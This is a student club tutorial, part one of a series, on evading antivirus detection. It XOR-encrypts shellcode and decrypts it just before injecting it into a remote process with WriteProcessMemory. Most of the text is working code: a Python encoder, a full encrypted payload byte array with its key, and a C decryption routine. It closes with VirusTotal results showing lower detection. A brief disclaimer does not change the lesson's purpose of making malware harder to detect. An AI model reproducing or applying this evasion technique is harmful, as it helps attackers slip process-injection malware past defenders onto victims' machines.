Obfuscation
DISCLAIMER
Cyber@UC is not responsible for any damages you cause with the information you learn in this lesson. Every AV in the world will detect all this anyway so don't even try it. You will get caught.
How do Antiviruses and EDRs work?
Antiviruses work by analyzing executables using static and dynamic analysis. Static analysis works by not running the executable but looks at the file structure, metadata, and any code to identify malicious patterns. Dynamic analysis works by running the executable in a virtualized environment or isolated sandbox to identify any suspicious behavior
Testing your malware's detection
There are a ton of websites where you can upload a executable to check if it identifies it as malware. A good one is VirusTotal. If you take the malware we created last time you will get a report like this

Easily detectable. But we are going to lower that number
Encrypting our payload
Right now our executable is easily detectable because our payload is easily detected by its signature (it's hash) because it's a very common one. We are going to use XOR encryption to hide it in our process memory and decrypt it right before we write it to the remote's process memory. If you don't understand how XOR works look here.
Create a new python file and begin my filling these variables with your own values
# Our unencrypted payload
# Make sure the format is like this
payload = b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50" \
b"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52" \
b"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x00"
We need to generate a key we will use for encrypting. Open powershell or command prompt and run the following
It will give you ouput looking like this
b'\x00\x17\xc5\xfa\xadF\x08\x0fp-\xf6\x9e\x88C\xcc\xee\x0c9\x8c|\xb8\xba\\\xf2\xe4\xdf\\\x14\x1b\x14"\xdf'
key = b'\x00\x17\xc5\xfa\xadF\x08\x0fp-\xf6\x9e\x88C\xcc\xee\x0c9\x8c|\xb8\xba\\\xf2\xe4\xdf\\\x14\x1b\x14"\xdf'
The next part might look a bit confusing
i = 0
print("unsigned char payload[] = \"", end="")
for byte in payload:
encoded_byte = hex(byte ^ key[i%len(key)])[2:]
# Just just pads the hex so its not just E but 0E
encoded_byte = encoded_byte.zfill(2)
print("\\x" + encoded_byte, end="")
i += 1
print("\";\n")
I loop goes through every byte in the payload. We also have a variable i that we use to index into the current byte of the key we are on. We then bitwise XOR the current payload byte we are on and the current key byte we are on. We do modules in key[i%len(key) because the payload could be longer than are key so once we reach the end of the key we just go back to the beginning. Hope that makes sense, just play around with the code and it will probably make sense.
The next part of the code formats the key into a C variable
print("const unsigned char key[] = {", end="")
for byte in key:
print(hex(byte), end=", ")
print("0x00};")
After that the enrypting program is done and the output should look like the following
unsigned char payload[] = "\xfc\x5f\x46\x1e\x5d\xae\xc8\x0f\x70\x2d\xb7\xcf\xc9\x13\x9e\xbf\x5a\x71\xbd\xae\xdd\xf2\xd7\xa0\x84\x97\xd7\x46\x03\x5c\xa9\x8d\x20\x5f\x4e\x88\xfd\x0e\x07\xb8\x3a\x67\xbb\xaf\x41\x0b\xfd\x2e\xa0\x05\xed\x00\xba\x96\x7c\xb3\x25\x16\x51\x55\x1a\xd5\xc0\x32\x52\x56\x94\xb2\x26\x14\x28\x84\x32\x11\xbe\x9f\x58\xc8\x4c\x66\x0c\x39\x8c\x34\x3d\x7a\x28\x95\xac\xde\x8c\x44\x90\x5c\x3a\x9b\x8b\x57\xe5\xb3\xac\x96\xeb\x59\x38\xd2\x3f\xdf\x03\x77\x44\xa6\x0d\xef\xc1\x4d\x71\xf2\x6d\x32\x48\x9e\x9d\xdd\x16\x55\x23\x1e\x38\xf7\xb0\x0b\xe1\x45\x44\x2b\x78\x68\xcf\x4f\xfd\x9b\x94\xaa\x87\x79\xa8\x35\xb9\x6a\x3a\xb3\x6f\xd3\x14\x50\x90\x54\x3e\x96\x01\xc7\x84\x71\xa9\xce\x40\x0e\xa0\x6c\xae\xdf\xd0\x1d\x95\xb4\x4d\x61\xcd\x25\xf9\xe0\x14\x71\x08\xff\x1d\x46\xe4\xf4\x7a\x9e\x59\x4d\x8d\x71\xbf\xaf\x5f\xf0\x8f\xd2\xab\xd7\x36\x34\xbf\xdc\x53\x0a\xbe\x7c\xb8\xfb\x0a\xbb\x6d\x39\x14\x95\xf7\xb4\x23\xdf\x00\x5e\x4c\x1f\xe4\xfa\x0a\x0f\x6b\x14\x36\x36\xb0\x26\x8d\xba\x45\xb0\x68\x30\x31\x4b\x1d\x48\xa8\xa8\x7a\x13\xe4\xc1\x6e\x56\xea\x7f\xc4\xfb\xad\x46\x51\x4e\xca\x04\x76\xf5\x88\xbc\x19\xbe\x5c\x74\xbd\xb5\xf5\x8b\x9c\xba\x1b\x1f\x14\x9d\xd9\x5c\xdd\x1f\x48\x9e\x04\xbb\x17\xac\x07\xd0\x90\xd2\x23\xd6\x01\x84\xa6\xfe\x4d\x61\xc0\xf5\x5a\xf2\xd5\x0b\xa5\x65\xc5\xb1\x6f\x75\xdd\x0a\x48\x96\x01\xba\xaf\x46\x08\x46\xc8\x4e\x9b\xfa\x88\x43\xcc\xee\x0c\x78\xdc\x3d\xe8\xf2\xd5\x10\xb3\x88\x0b\x59\x2a\xd4\x48\xd2\x59\x56\x95\x18\x51\x20\xcf\x4b\x54\x79\xf7\x9f\xc0\xce\x88\xca\x14\xff\x8c\x14\xf0\x33\xba\xa4\xb4\x9e\x0c\x55\x4b\x55\x72\x96\xff\xd7\x84\xaa\xe4\xb9\xc0\x42\xf9\xec\xba\x17\x49\x02\x76\x97\xc0\x06\x0a\x83\x6d\xf2\x6d\x20\xac\x20\x96\x9f\x15\x55\x98\xd7\x87\x0a\xa5\x05\x78\xfd\xe8\x12\x5a\x27\xb7\x24\x2e\xd6\x71\x73\xf3\xec\xc4\xff\x7c\x92\x60\xf4\x98\xd5\xdc\xef\xfb\x61\x27\x64\x47\x04\xb7\x95\xc7\x46\x51\x4e\xf9\xf7\x09\x4b\x88";
const unsigned char key[] = {0x0, 0x17, 0xc5, 0xfa, 0xad, 0x46, 0x8, 0xf, 0x70, 0x2d, 0xf6, 0x9e, 0x88, 0x43, 0xcc, 0xee, 0xc, 0x39, 0x8c, 0x7c, 0xb8, 0xba, 0x5c, 0xf2, 0xe4, 0xdf, 0x5c, 0x14, 0x1b, 0x14, 0x22, 0xdf, 0x00};
Now you can copy all of that into your malware program. Make sure all of it is before the main() function
Now we need a function in our C program to decrypt the payload. If you XOR something again with the same key and will just go back to its decrypted form. So we need to just create that same function we made in python in our C program
void XOR(char* buffer, char* key, int sizeOfBuffer, int sizeOfKey) {
for (int i = 0; i < sizeOfBuffer - 1; i++) {
int keyIndex = i % (sizeOfKey - 1);
*(buffer+i) = *(buffer+i) ^ *(key+keyIndex);
}
}
This code does almost the same thing as the one in the python script. The first parameter is a pointer to the encrypted buffer we want to decrypt. The second parameter is a pointer to the key we are using to decrypt. The third and fourth are the size of the buffer and key.
Now we just need to call this function right before we write this payload to the remote process like so
XOR(payload, key, sizeof(payload), sizeof(key));
WriteProcessMemory(
hProcess,
rBuffer,
payload,
sizeof(payload),
NULL
);
Go ahead test your malware and it should work the same (hopefully). Putting this malware into VirusTotal shows that it's less detectable

That's it for part one. We are going to get that number even lower in the next part! (maybe I'm still learning this stuff)